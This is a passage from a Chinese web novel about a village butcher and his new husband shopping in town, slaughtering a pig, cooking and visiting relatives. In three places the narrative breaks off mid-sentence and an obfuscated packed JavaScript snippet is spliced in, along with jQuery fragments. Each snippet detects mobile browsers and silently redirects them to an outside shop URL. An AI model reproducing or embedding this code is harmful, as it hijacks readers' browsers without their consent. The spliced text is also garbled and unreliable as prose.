李远山黑沉沉的眼睛都睁大了:“小衣?” 方夏紧紧抱着怀里新买的衣裳,拼命摇头,嗓子里都透着惊惶:“不是的,我、我不要小衣!” 7. 抿豆面 街上人声鼎沸,小贩的吆喝声、孩童的嬉闹声和行人的谈笑声交织成一片。而在这嘈杂的声浪中,李远山却一字不漏听清了方夏说的话,小衣是什么?他为何不要呢?但这些都不重要了。 方夏清泠的声音落在他的耳朵里,让李远山不禁想起了他们成亲那日第一次听见方夏说话时的样子,清瘦的人盖着红盖头坐在炕上,只低垂着头嗯了一声,就好像炎热夏日里喝了一瓢刚打上来的井水,从头到脚都透着清凉。 李远山闭了闭眼,再睁开时看见方夏无措的样子,尽量放低声音和缓开口:“想要也无妨,买就是了。” 虽然他也不知道这小衣到底是何物,但自家夫郎想要,又不是金山银山,无非就是自己多下些力气挣钱,能买就买。 “就是,小夫郎去里间试试?这可是江南府传过来的,贴身穿着柔软又舒服,让你家郎君也进去帮着掌掌眼,现下时行得很,小夫郎穿来定是很有情调!”老板娘捂着嘴笑得欢,上前就要推俩人去里间试衣裳。 这下两人登时都红了脸,李远山再迟钝也反应过来这小衣是怎么穿的了。 本来双儿与女子就不同,大多数双儿身形和汉子相似,虽比不得汉子的高大结实,但和女子也相去甚远,只在眉间生有一点红痣,好似朱笔点上去的朱砂。由于双儿生子后不能亲自喂养,因此穿着上和汉子们相差无几,无需女子的肚兜之类。 可偏偏江南出风雅,不知哪个风流雅士将女子的肚兜修修改改,竟然做成了双儿贴身穿的小衣,渐渐有风靡之态,但这对方夏一个乡下双儿来说,却是惊世骇俗的。 眼看着几人都误会了,方夏再顾不得其他,急忙伸手指着布庄的柜台说:“我想买些针线!” 还是布庄的掌柜接下话茬,缓解了他们的尴尬:“原是要些针线呀?小夫郎过来挑挑,今日你们照顾我生意,这柜台上的各色棉线的任选一束,当做添头吧,日后多来就成!” “多谢。”见掌柜的如此敞亮,李远山也不推辞,朝着方夏点头示意人去选,便自去门口等着。 虽说掌柜的说不收钱,方夏也不好意思多挑,只简单挑了些寻常用到的颜色,又挑了几根缝衣针。 待方夏选好,老板娘还凑近他问:“小夫郎真的不再看看小衣?” 李远山忙道:“不了,多谢老板娘。”说完一拱手,同躲在他身后的方夏一起匆匆迈出门去。 俩人走出老远还能听到老板娘的声音:“都成婚了,还害羞的什么似的……” “你这婆娘,就你话多!” ------------------------------------- 两人在街上走了一阵子,日头渐渐移至头顶,阳光毫无遮拦倾泄下来,路上的行人明显变少了,要么采买够东西回家了,要么找个地方躲阴凉。 李远山带着方夏走到街边卖吃食的铺子附近,问道:“想吃些什么?” 方夏很快摇了摇头,方才给他买衣裳布料已经花了不少钱,再花钱去吃饭,他是怎么也不肯的。 “已近午时,我们回去晚家里不一定留饭,就在此处吃吧,也歇歇脚。”李远山说完隔着衣袖抓住方夏的腕子进了其中一家面馆。 找了个角落里的桌子坐下,店小二立刻迎了上来:“客官您吃点什么?天气热,来些冰饮?” 李远山道:“两碗抿豆面,要羊肉卤子,再来两杯甘草饮。” 方夏安静坐在桌前,他从来没到镇上的食肆铺子吃过饭,对周遭的一切都充满了好奇,看着店里络绎不绝进来吃饭的人,便知这家店味道定然错不了。 这家店主要卖抿豆面,这是一种以豆面为主,混合了白面、莜面制作而成的面食,和好面后再拿模具在灶台上刮压入锅,沸水稍稍煮一会便熟了。 不一会儿,两大碗抿豆面就端上桌了,只见碗里满满压成圆条状的面条,配上鲜香扑鼻的羊肉卤子,闻着味道就让人食指大动。 接过李远山递到手里的勺子,方夏悄悄声说:“太多了,我吃不完。” “无妨,剩下的我吃。”说着李远山又问:“可能吃得了辣?” 见李远山拿汤匙往自己碗里舀了两勺辣酱,方夏急忙摇头,拿着勺子舀自己碗里的面吃。 面条爽滑筋道,还没等嚼一嚼便顺着嗓子滑到了胃里,尽管有些烫嘴,可方夏还是呼噜着吃了下去。 他从没吃过这么好吃的面,热乎乎的面让他整个人都活泛起来,眉眼间带着微微的暖意。 方夏想起了成亲那一晚吃的手擀面,那碗面让他饱饱的不受饥饿之苦,今天的这碗抿豆面则让他觉得暖,好似冬日里晒太阳,暖意从胃里升腾出来绵延到四肢百骸,竟比三伏天的日头还要熨帖。 见他吃得急,李远山忍不住轻笑一声,将刚上来的甘草饮推过去,道:“喝一些这个,冰冰凉凉的,夏天最是消暑解渴。” 配着清甜的甘草饮,一碗面不一会儿就吃掉了大半,剩下小半碗方夏吃不动了,他不敢真的让李远山吃他剩下的面,只抬眼悄悄看对面的人。 李远山察觉到他的视线,咽下口中的面:“饱了?” “嗯。” 一条长长的手臂伸过来端走了他面前的碗,方夏甚至能看见李远山衣袖覆盖下的肌肉轮廓,随着动作将肩膀处的衣裳撑起鼓胀的弧度。 正晃神间,李远山已快速吃完了剩下的面,问他:“再逛逛?还是现在就回?” 方夏怔怔的还没回神,直到李远山又问了一遍才低着头答道:“听你的。” 他原想着成婚那日迷迷糊糊闹的那一出,定是伤了人的心。 李远山是个好人,即使不曾打他骂他,但心里肯定也不待见他,却不曾想这几日李家上下待他极好,李远山也事事问询他,这让他对将来的日子生出了更多的期盼。 出了面馆,两人又沿着街道慢慢走着,时不时李远山还要问问方夏想买些什么,可方夏却什么都不敢再要。 虽说他们两人暂时还没什么情分,但他娘说的对,既然自己将他领回家做夫郎,那他们两个终归是要在一起过日子的。 李远山可不想方夏在自己面前还如此胆小畏缩,少言寡语,他又不会吃人。再者他是汉子,又比方夏年长四五岁,对自己的夫郎好是应该的,那多说几句话也是应该的。 想通这一节,李远山便开口道:“你我既已成亲,你日后想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292663|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要什么便同我说,与我不必见外。” 方夏愣了一下,仰起头去看李远山。 哪怕方夏自己在双儿里身高不算矮,但还是要比对方矮上一头。 他一直晓得李远山是个壮实的汉子,哪怕是在乡下也是少见的高大,仿佛能将他整个人都罩起来,不然第一眼见他也不会被吓晕过去。 此刻看着李远山认真的眼神,他头一次没有害怕对方脸上的伤疤。 倒是李远山被盯着有些脸热,微微扭过头说道:“你在阴凉处等等,我去买些饴糖。” 说罢匆匆迈着步子离开,不一会儿功夫他揣着一个小小的油纸包回来,见方夏站在原地不时张望着,越发加快了脚步。 “你尝尝,挺甜的,”李远山打开油纸包,用附带着的小木棒缠了一块糖递给方夏,“给弟妹带些零嘴,省的回去他们吵闹。” 回村的路上,李远山慢慢走着,方夏在他身旁小口小口吃着饴糖,午后的阳光依旧有些炙热,却挡不住两人归家的脚步。 ------------------------------------- 晚饭过后,方夏主动揽过了洗碗的活,李青梅高高兴兴同两个哥哥去分饴糖了。 院子里,干完活的众人正在纳凉。 “爹,咱们买卖也停了有些日子了,我想明日便杀猪开张吧。”李远山拎着装猪食的空桶从后院出来道。 这些日子家里忙着办喜事,已有近十多日没开张卖猪肉了,想着再过一个多月就该秋收了,到那时忙起地里的活又得少挣几天钱,李远山便想着尽快开张,能挣多少算多少。 庄户人家靠的是勤快,日子就是这么一点一点好起来的。 李达知道自家老大是个有主意的,便也不多言语,只点了点头问:“明早上就杀?空槽了没?” 空槽就是杀猪的前一天便不给猪喂水喂食了,这样等处理猪下水时更干净方便些。李远山已经独自做这杀猪的营生有几年了,自然是都安排妥了。 “空了,早上喂食那会就拉出来一头最肥的。” “那就好,这几日家里的几头猪也够卖几天,过几日再去收猪。”李达叮嘱。 “嗯,行。”李远山答应着。 李达抻着腰站起来,道:“云山也不小了,马上就十六了,明日让他跟着你学,也该慢慢上手了。” 说罢就溜溜达达出门了,如今大儿子的婚事尘埃落定,家里妻贤子孝事事顺心,他就忍不住想出去闲磕牙。 李远山将喂猪的石槽洗涮干净,便准备进厨房看看有什么可以做的,他们家没什么“君子远庖厨”的讲究,都是眼里有活的人,早些干完早些歇息才是正理。 一进厨房就看到方夏已经快收拾完了,正拿着一个碗从锅里往外舀泔水。他家做饭用的铁锅大,方夏力气小端不动,只能这样一点一点舀。 “我来。”李远山越过灶台,双手把着锅沿一用力将锅里的泔水倒在了脚边的桶里。 方夏又拿瓢舀了些清水,反复涮了两遍,终于把锅给洗干净了。待两人收拾妥当,天也渐渐黑下来,乡下人日出而作日入而息,况且今日赶路也累,便早早洗漱歇了。 8. 杀猪 第二日卯时刚过,李远山便爬了起来,今日要杀猪卖肉,可不得早早起来,他将地上的行李叠整齐放到炕上,铺在最下面的破草席卷吧卷吧塞到柜子里。 炕上睡着的方夏听见耳边窸窸窣窣的声音也醒了,睁开眼天还没亮,窗户上隐约透出一丝光线,屋里黑蒙蒙的看不真切,正待要问,李远山刻意压低的声音在耳边响起:“还早,你再睡会。” 即便知道杀猪他帮不上什么忙,但方夏听着东屋开门关门的声音,他也知道一家人都起了,那他更没赖床的道理,况且他也不是惫懒的人,勤快些总是好的。 正洗漱间,李青梅轻轻推开西屋的门进来,一道清亮雀跃的声音响起:“夏哥哥,我们去看杀猪!今日大哥杀猪,大哥可厉害了!” “哎,好。”方夏点点头,急忙拿布巾擦了擦手,将水泼到院中的菜地里,庄户人家取水不易,平日里洗脸洗手的水不甚脏污,都是用完便浇到院里的菜地。 他长这么大还没见过杀猪,听着李青梅喊他,自己也忍不住想去看,再说家里主要营生便是杀猪卖肉,方夏也想多学学,日后好帮衬着多干些活。 待两人走到院门外的场院里,周秀娘已坐在棚里的大灶台旁生火了,灶台上有一口极大的铁锅,三弟李晓山正拎着水桶往锅里倒水。 “娘。” “娘!” 两人一前一后喊人,见李晓山再要去提水,方夏也拎起地上的空桶去帮忙。 “哎!”周秀娘应了一声,见方夏这般勤快,心里没有一处不妥帖的,虽说赵桂花是个烂肚皮黑心肝的,可养出来的小儿子却是踏实肯干的,这样老实乖巧的人何愁日子过不好啊! 她喊了一声方夏,道:“夏哥儿,来这边添柴烧水就成,娘去后院看看。” 方夏应着,快步走到灶台前蹲下,拿起火铲子拨了拨灶膛里的火,又扔进去几根柴火。李青梅拿了一个小板凳过来喊他坐,俩人便挤在一处,边看火边等。 李青梅因着大哥娶了新夫郎,很是高兴,且方夏性子和顺,她家里上面三个哥哥,都是愣头青一样的汉子,没一个丫头或双儿,平日里没人陪她玩,因此她很是亲近哥夫郎,凑在方夏身边叽叽喳喳话也多。 大锅里的水还没烧开,方夏就听到了猪的嚎叫声,俗话说“猪草包,羊好汉,牛的眼泪在眶里转。”这声嘶力竭不要命的猪叫声光听着就有些吓人了。 猪叫声由远及近,只见老二李云山手里紧握着套杆将一头大肥猪拉进场院里。 今日他要跟着大哥学杀猪的本事,便将自己身上一把子力气都使出来了。后边跟着的李达和李远山则帮忙驱赶,怕一不留神这头猪四处乱跑。 晨起时光线暗,方夏没留心,此时扭过头看才发现李远山上半身竟连衣裳都没穿,打着赤膊。 因着常年劳作他身上的肌肉块块分明,毫无一丝赘肉,有力的臂膀配上精壮的腰身线条,更加显得腰窄肩宽,除了脸上的伤疤瞧着有些吓人,身上简直没有一处不亮眼的。 “夏哥哥,你咋脸红了?”李青梅声音不大,却落在了李远山的耳朵里,他一抬眼便瞧见了方夏红红的耳朵尖,见他看过去急忙扭头慌里慌张往灶膛里添柴。 李远山没说话,只一手拽着猪尾巴一手紧抓着猪后腿,弓着腰胳膊一扭借着巧劲用力,那头大肥猪便应声倒地,待竭力嘶叫的猪被放倒,他迅速调整着自己的姿势,一条腿跪压在猪前腿上,另外一条腿则半曲起来蹬着地。 旁边站着的李达趁着此时肥猪动弹不得,上去用早已准备好的绳子将猪蹄结结实实捆好。 若在平时是不必这么麻烦的,只需将猪摁着找准位置一刀即可了事。可今日他二儿子要学本事,少不得费一番功夫,让老大细细演示一番。 待众人合力把这大肥猪抬上条案,周秀娘端着一个木制的盆放在了猪头下方,用来接猪血用。 虽说猪血不算多贵,可这东西能做血豆腐,吃起来也是很美味的,一些穷苦人家买不起肉,便偶尔过来买些血豆腐或是猪下水,也算沾沾荤腥。 李远山带着二弟,让他仔细记下猪脖子处好下刀的位置,又说了该使多少力气。 等准备妥当,李远山便拿起案板上备好的尖刀,一条腿跪压在猪身上,一手用力掰着猪下巴突出喉咙位置,在猪脖子下方约莫三寸的地方果断出刀,在如此猛烈的一刀下猪血瞬间汹涌流出,不一会儿就流了满满一盆。 嘱咐二弟接着给猪放血,李远山朝着灶台走来,方夏看得人都傻了,却见他将手伸进锅中一探,只说:“水温可以了。” 方夏还没从刚才血淋淋的场面中缓过神,只呆呆坐着,眼睛都好似僵住不会动了,还是旁边的李青梅先反应过来,轻轻推了他一下。 “哦哦,好。”方夏转转脖子,用草木灰将灶膛里的火埋好,只留几根细小的木柴保持温度就行。 杀猪这手艺说难也难,尤其褪毛这一道工序,对水温的要求极高,太热肉质受损,凉了则猪毛不易褪掉,有经验的屠户经验足,一般用手试探着调整水温,李远山已然有了六七年的经验,这水温把控的一向很准。 不一会儿功夫,猪血放干净了,李远山走过去,解开捆绑猪蹄的绳子,在猪后腿处割开一个小口子,接着拿起条案旁放着的梃条,从方才割开的口子桶了进去,还不忘对二弟讲着: “梃条要一下捅到猪的耳根处,然后抽回来,记住抽一半就行,再梃猪的背部和肚子,这半边梃完,就把猪翻过来梃另外半边,将这猪的皮下梃活了才行。可记下了?我先梃这半边,一会儿你来梃另外一半试试。” 方夏看得入神,他从不知道杀猪也有这么多讲究,忍不住小声问身边的李青梅:“这猪都杀好了,怎地还要拿这么长的铁条这么弄呀?” 李青梅虽说常常看自家爹爹和大哥杀猪,可这里面的门道她却是不知道的,更何况她一个小丫头,日后也无需靠着这些宰杀手艺过活,因此也没人同她讲这些。 “这么弄,一会儿好方便褪毛。”李远山没回头,手上不停,动作间手臂上青筋浮现,把猪翻了个面后,又对着二弟李云山加了一句。 李云山学着大哥的样子一边梃猪一边说:“晓得了,晓得了!大哥你往日话可没这么多。” 待将梃条抽出,还不能直接褪毛,还要“吹猪”。这道工序要求屠户从梃猪的口子向猪的体内吹气,一边吹还要一边用木棍敲打猪的身体,等猪像圆球一样浑身上下鼓胀起来,要立马用绳子将吹起口扎紧,才能褪毛。 这“吹猪”的手艺一般的屠户很难练,要肺活量大的。寻常屠户没这本事,甚至梃猪这一道工序也省了,褪毛就弄不干净,大多数人见猪毛收拾不干净便不愿意买,而李家父子两代人手艺都是一绝,甚至在这周边十数个村子也是排得上号的,不然哪能挣下这份家业。 近几年李达上了岁数不大干得了这吹猪的活计,基本都是李远山来。 他深吸口气,胸口的肌肉也随着他的动作隆起饱满的弧度,随后他半蹲下来,对着方才抽出梃条的口子就开始吹气,约莫五六轮换气的功夫已将猪吹得滚胖溜圆,吹好后立马用麻绳将那口子扎好。 没一会儿猪就被抬到了灶台的大锅里褪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292664|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛,这褪毛的过程看起来简单,实则也需要多年的技巧。褪毛有专用的工具,叫做“刮刨”,待肥猪在热水锅里滚过一遍,就要趁热用刮刨褪毛,这时还要不停翻动,仔细将猪身上每一处都收拾干净。 周秀娘走过来接替了方夏烧火的活计,毕竟他头一次见杀猪的营生,怕他控制不好火候,就只让去旁边看着就行,也不急这一时半刻。 待猪毛收拾干净后,李远山先将猪头和猪脖子卸下来,猪头是有些富户专门要的,往往都是整个卖出去,有时也会自家卤了分着卖,而猪脖子往往是最不值钱的,若是没人买就留着自家吃了。 接着李远山和李云山兄弟俩抬着这整头猪挂在特制的木架上,木架下有一个大大的宽边脏水盆,用来接住分割猪肉时留下来的血水,防止地上脏污不好处理。 分猪的刀有好几种,有刚才用过的尖刀,还有专门砍大骨的砍刀及剔骨的剔刀。 李远山边示范边分肉,下刀又快又准,倒吊着的猪被从尾巴处开刀,沿着猪肚中间剖开,直至胸腔处停下,此时便到了考验屠户技术的时刻了。 猪肚子里的内脏分为“红下水”和“白下水”,“红下水”即心肝肺等,而“白下水”则是大肠小肠猪肚子这些,肥猪开了胸腔后,要立刻取出“红下水”,因着猪内脏难免有血水脏污,分割时还要不停用清水冲洗。 李远山将“红下水”放在一旁,便开始小心翼翼割“白下水”,先是猪肚子,取下后要立即翻倒里面的猪粪,虽然杀猪前已空槽,但只是减少些脏东西,猪肚子里并非什么也没有。 紧接着就是大肠和小肠,这些下水不值钱,但处理时却不能将肠衣弄破,万一将猪肚里的板油弄脏就不划算了。 此外猪肠子外往往都有很厚的挂油,这些板油挂油都可以拿来炼油,除了平日里吃的胡麻榨的素油,这猪油就是最好的荤油,炒菜炖菜那怎是一个香字了得! 内脏都理好放在一边,李远山拿起砍刀,这把刀的刀身最为厚重,可在他手里仿佛没什么重量一般,他顺着案板上肥猪里脊的位置一刀刀劈砍,不多时便将猪劈成两半,这不仅需要技巧还要很大的力气才行。 李云山也试着砍了几下,到底年纪还小,才十五岁,不是力度掌握不好,就是下刀时位置不对,李达哈哈笑了两声,道:“傻小子,还有的练,跟着你大哥慢慢学。” 李远山扯起嘴角笑了下,又拿来剔刀割开皮肉部分,这一整个大肥猪就分成了两半,到这一步基本上就可以出摊卖猪肉了。 他们李家不像其他屠户提前将肉分好,他们家卖的都是开膛后的半扇猪肉,也称作“白条子”。 这样摆在条案上的猪肉整齐干净,买肉的人也能清楚看到猪肉有几指的肥膘,顾客想要哪块或是单要几斤几两都给现切,李远山眼力准,基本都是要多少割下来的肉就是这个斤两数。 周秀娘见收拾差不多了,便蹲下身去一旁清洗猪肚儿和猪肠子,这些东西要快点收拾干净,好赶在出摊时拿去卖。 方夏也赶紧凑过去要帮着一块洗,他不是城里那些精贵的双儿,从前在赵桂花家里他还要挑着粪水去地里施肥,庄户人家不怕这些脏污,怕的是好吃懒做填不饱肚子撑不起家。 “夏哥儿就别沾手了,这些活计呀日后有你上手的时候。今日晚了些,都快辰时了,你去做些早饭吧。”周秀娘笑着说,“昨日剩下的的饼子热上,再弄些稀乎的,从灶旁的篮子里取俩鸡蛋煮上,你和青梅一人一个!” 方夏应了,站起来问:“娘,疙瘩汤行吗?” “行,你看着做就成。” 9. 下厨 方夏先从柴房抱了柴火,李青梅同他一起进来,仍旧给他打下手,待灶膛里的火点着,便坐在小板凳上烧火添柴。 他又拿起瓢往锅里舀水,在笼屉上放好杂面饼子。没成亲前他只做家里三个人的饭,现下家里算上他就有七个人,方夏有些摸不准该做多少疙瘩汤,便问李青梅。 “平日里大哥一个人就能喝两大碗呢。”听罢李青梅说的,方夏赶紧又往锅里添了两瓢水。 疙瘩汤好做,只需盆里准备好面,一边加水一边搅合就行,加水时要用手甩进面粉里,不能直接倒,这些方夏都熟,没一会儿功夫一盆大小均匀的干面粉疙瘩就弄好了。 他想着光喝疙瘩没什么滋味,就转身去院里摘了些菘菜叶子洗干净切碎。 周秀娘心疼他,要他煮鸡蛋吃,可他不好意思自己吃独食,李青梅还小,他都这么大了就有些说不过去,就想着将自己那个鸡蛋打散煮进疙瘩汤里大家一起吃,滋味也好。 “青梅,我给你做成荷包蛋可好?”方夏问。 李青梅人不大,但机灵着,看出他的意图,便道:“夏哥哥,我不吃荷包蛋,你把两个都打散了咱们一起吃。” 方夏点点头,将两个鸡蛋磕到碗里拿筷子快速搅合开来。 此时锅里的水也烧开了,掀开锅盖,将杂面饼子拿出来晾着,一会儿吃起来也不烫嘴。 方夏将盆里的面疙瘩均匀撒进锅里,待水滚过一遍,又麻利地下碎菜叶子和鸡蛋液,快出锅时洒两勺盐巴,如此一锅疙瘩汤便做好了。 厚实的杂面饼子配一碗热乎乎的疙瘩汤,在村里已是顶好的早饭了,李家一大家子起的都早,干的活也都是重活,早上吃好些才更有力气不是? 怕这些不好下饭,方夏又捞了块咸菜切成细丝,这几日厨房东西他已熟悉了,很快就拾掇好了。 饭做好了,李青梅去场院喊大家过来吃饭,方夏便从放碗的橱柜里拿碗盛疙瘩汤。 李云山和李晓山两兄弟是跑着进来的,他俩正在长身体的时候,早就饿得肚子咕咕叫了,两人闻着香味挤进灶房门时差点打起来。 “怪不得这俩傻小子这么急,闻着味来了。”后边跟着的李达叹道。 周秀娘脸上都是笑意,回他一句:“这回都有口福了,还是家里有儿夫郎好啊!” 一家人围着灶台,吃起热腾腾的早饭,平日里早上太忙,他家杀猪就靠着早上这功夫,早饭都是草草了事。 今日方夏做的疙瘩汤既有菜叶又有蛋花,实在是香,就连往常只能吃一碗的李青梅今天也吃了两碗。 见方夏时不时向外张望,一副欲言又止的模样,周秀娘心里暗喜,他大儿子虽幼时遭了大罪,可如今也是有人惦记着了。 “孩儿他爹,你吃快些!”她拍着丈夫的手臂说道,“吃完了就去看着摊子,让远山也赶紧来吃。” 他们家卖猪肉都是在院门外的场院,需得时时刻刻有人看着才行,寻常一上午就卖的差不多了,若是遇到天气热,卖不出去的就推着板车去周边村子叫卖。 方夏不知道这些,听周秀娘说完,想着自己先前的样子不好意思起来,他赶忙低头吃饭,以前家里穷,做疙瘩汤时赵桂花从不让他多放面,只要面少菜多的,菜也多是出去挖来的野菜。 没想到自己今日歪打正着,做出来的疙瘩汤大家都喜欢吃,心里又冒出一丝丝甜来,能吃饱穿暖,再也没有苛待打骂,这样的日子方夏想都不敢想。 不一会儿,李远山端着一大块血豆腐进来了,放在灶台上说:“今日出的血豆腐多,这块留着家里吃。” 方夏急忙去舀疙瘩汤,转身的功夫李远山已接过了大碗,挨着这样近,李远山身上的热意好像能透过衣服贴在他的皮肤上,让他有种喘不上气的感觉。 李远山看了方夏一眼,以为他还嫌弃自己的长相,不着痕迹地往外挪了挪,转过脸去。 “今日的猪头别卖了吧,一会儿拿进来卤了,给你几个舅舅送些去。”周秀娘说道,“带着夏哥儿,也认认门。” 他成亲这事没少麻烦几个舅舅,按着礼数是该去一趟的,他爹在此地无亲无故,就靠着这些娘舅的帮衬。 周秀娘又碎碎念叮嘱道:“早晚天凉,别逞着年轻火气旺光膀子,一会儿去穿上件褂子。” “知道了,娘。”李远山应着,呼噜噜将碗里的疙瘩汤喝干净。 两大碗疙瘩汤下肚,胃里舒坦极了,李远山不禁有些高兴,他夫郎虽与他不甚亲近,可这几日他看在眼里,操持家务却是一点也不差,饭食也做的好吃合胃口,他知道急不来,日子是要慢慢过的。 他站起身,正待叫自己夫郎再盛一碗,自己俩弟弟也笑嘻嘻伸手端着碗蹭到了锅边,可锅里最多也就剩下一碗疙瘩汤了。 站在灶台边的方夏心里忐忑不安,自己第一次在夫家做饭,就砸了锅,让家里人没吃饱,他知道李家不缺粮食,不像他们家以前时常吃食不够,哪怕够吃了,好的也是要先紧着哥哥方春。 看着方夏脸上无措的神色,李远山放下碗道:“我吃饱了,给他俩分了吧。” “大哥真好!”李云山和李晓山齐齐道,赶紧又往前凑凑等着方夏给盛疙瘩汤。 周秀娘忍不住哈哈笑着,说:“真是半大小子,吃死老子!” 方夏松了一口气,将锅里剩下的疙瘩汤拿勺刮干净,给两个弟弟分了,又给锅里加了几瓢水预备着洗碗。 “还是夏哥好!”李云山喝一口疙瘩汤,“咸菜都是切成细丝的!” 李晓山呼噜噜吃着饭,嘴里的饼子还没咽下去,也跟着搭腔:“夏哥好!” 周秀娘都气笑了,家里太忙,平日里都是捞了咸菜疙瘩直接一人一块就着饭啃,哪有那些功夫做的这么精细,她拍着二儿子的脑袋,道:“快吃吧你,吃饭也捂不住你的嘴,没人把你当哑巴。” 吃过早饭,李达带着两个小儿子去地里了,李远山仍旧到场院里守着猪肉摊子卖肉,方夏则跟着周秀娘在灶房忙碌,各人自有各人的事情做,一家人都是忙忙碌碌。 待煮好猪食,去后院喂了猪收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292665|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了鸡蛋,便准备开始卤猪头了,周秀娘做了几十年卤味,手艺一绝,他家无论是生肉还是卤肉都是不愁卖的。 李远山中间进来一趟,手里提着猪的心肝肺说把这些一并卤了。 今日猪肉卖的快,半上午的功夫基本都卖差不多了,一头将近两百斤的大肥猪,除却头蹄下水之类,能出一百五十多斤肉,猪肉价格浮动,一斤在二十文到二十五文不等。 最近天热,卖的少,不比逢年过节,不过因着家里办喜事,耽误了几天功夫没出摊,今日猪肉卖的倒也快。 李远山心里盘算着,除去家里剩下的,这一头猪能挣一百八十多文钱。 前几年他接老爹猪肉摊时同家里商量好了,挣的钱平分他一半家里一半,以前他挣的钱也都是凑个整数就给家里了,现在娶了夫郎,也要开始慢慢攒着了。 一上午的时间过得很快,厨房里灶膛的火一直没熄,卤肉时间久,等都做好已快到中午了。 周秀娘捞出锅里的卤肉,分出约莫三份的量,拿油纸包好让李远山和方夏提着去给三个舅舅家送去,自己张罗着又要做中饭了。 他俩刚一出门,就碰上隔壁的吴大牛:“远山哥出门啊?” “嗯,去几个舅舅家转转。”李远山指着吴大牛说,“这是隔壁的吴大牛,后边是他的夫郎。” 柳满个子娇小,性子却利落,他声音爽朗笑着道:“我叫柳满,叫我满哥儿就行,得空了咱们结伴去挖野菜!” 方夏抿着嘴笑,轻声答应着:“嗯,好。” 几人分开,李远山带着方夏先去大舅家。 一路上都有人路过同李远山打招呼,还不声不响打量着方夏,另外也有些不熟的远远瞅着看他们两眼,但因惧怕李远山的块头,也没人敢明目张胆嚼耳根子,等他俩走远了,才悄悄说道几句李赖脸这夫郎还挺耐看。 等到周兴平家时恰好他大舅不在,周兴平媳妇招呼他俩进门,说道:“远山怎么来了?快带夫郎进来坐。” “大舅母,不坐了。今日杀猪卤了些猪头肉你们留着吃。”李远山应着,又说,“赶着饭点,还要去二舅和三舅家。” 周兴平媳妇细细打量着方夏,满是褶子的脸上透着欣慰:“你说你,留着自家卖吧,拿来干啥?” 又握着方夏的手说,“在大舅母家吃吧,吃完了再走,啊?夏哥儿生的真是俊俏,哎呀我这老婆子看着高兴!” 方夏被人盯着有些害羞,抬头看了一眼身旁的李远山,小声开口道:“不了,大舅母。” 见他俩要走,周兴平媳妇急忙去屋里拿着个油纸包塞到方夏怀里,“这是你大哥从南边带回来的食茱萸,镇上的铺子不常有,你们带着。” 方夏有些无措,他以前几乎没怎么走过亲戚,也没人像这样热情地给他东西,还是李远山给他解围:“大舅母给的,咱们拿着吧。” “多谢大舅母。”方夏扬起嘴角笑着说。 等两个人走了,周兴平媳妇还念叨着:“谢啥啊,这孩子,哎吆吆,怪惹人心疼的。” 10. 洗澡 从李远山二舅和三舅家出来,方夏怀里又多了不少东西,有从山上采回来的枸杞子,还有晒好的金针菜,他心里高兴,不自觉笑容就多起来。 这几天在李家吃的好睡的也好,方夏的气色明显要比头一天嫁过来时好多了,整个人看着都比以前更好看了,身形虽然还是有些消瘦,但整个人的精气神变了,尤其笑起来格外俊俏,是李远山见过最好看的双儿,他忍不住将人看了又看。 活了二十多年,李远山从没有这样看过一个双儿,他知道礼数,往常见着来家里肉摊子买肉的妇人双儿他都目不斜视,从不多嘴说没用的话。 可今日不知怎么了,他心里好像被猫抓了一样,痒痒的,麻麻的,一口气提在嗓子眼,说不清道不明这是个什么滋味,整个人好像魔怔了似的,只想多看几眼方夏的笑脸,又想多同他说几句。 李远山长舒一口气,觉得自己这样像个登徒子,遂落后几步慢慢走着,可转念一想,方夏是自己夫郎,多看看自己的夫郎,多和夫郎说说话这不是应当的吗? 他又想起吴大牛和柳满,吴大牛那小子成亲两年多了,有时上山劈柴还要牵着柳满的手! 他扭头看了看方夏的手,有些丧气,除了新婚夜掀盖头时拉过一次,他还没有好好牵过方夏的手。 方夏并不知李远山百转千回的心思,回头看人时眼睛亮亮的透着笑,见李远山伸着手问道:“怎么了?” 李远山不自在地收回手,有些尴尬地挠了挠头说:“能拿得了吗?我拿一些吧。” “嗯?哦,好。”方夏低头看着自己怀里几个小纸包,有些呆,不过李远山说什么他就听什么。 分了两个小纸包到李远山手里,两个人一前一后朝着家里走去。 李家灶房里,周秀娘把卤肉锅里剩下的肉捞出来切碎,加菘菜熬了一大锅炖菜出来,他俩回来时,周秀娘正切着韭菜准备炒猪血,旁边锅里冒着热气蒸黄米面。 见李远山和方夏回来,连忙道:“远山去地里喊你爹他们回来吃饭!今日不知怎地都这时候了还不回来。” 方夏将几个舅舅给的东西收拢好放到橱柜后边的布袋后,便过来帮忙,今日中午吃黄米面糕,锅里的黄米面已经蒸熟了,只等着搋糕。 